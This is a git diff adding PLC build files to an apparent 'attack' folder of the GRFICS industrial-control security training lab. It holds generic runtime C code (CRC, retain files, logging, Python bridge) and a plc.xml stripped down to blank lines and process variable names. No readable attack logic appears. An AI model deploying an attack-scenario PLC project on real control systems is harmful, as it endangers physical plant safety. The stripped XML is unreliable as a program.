0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + 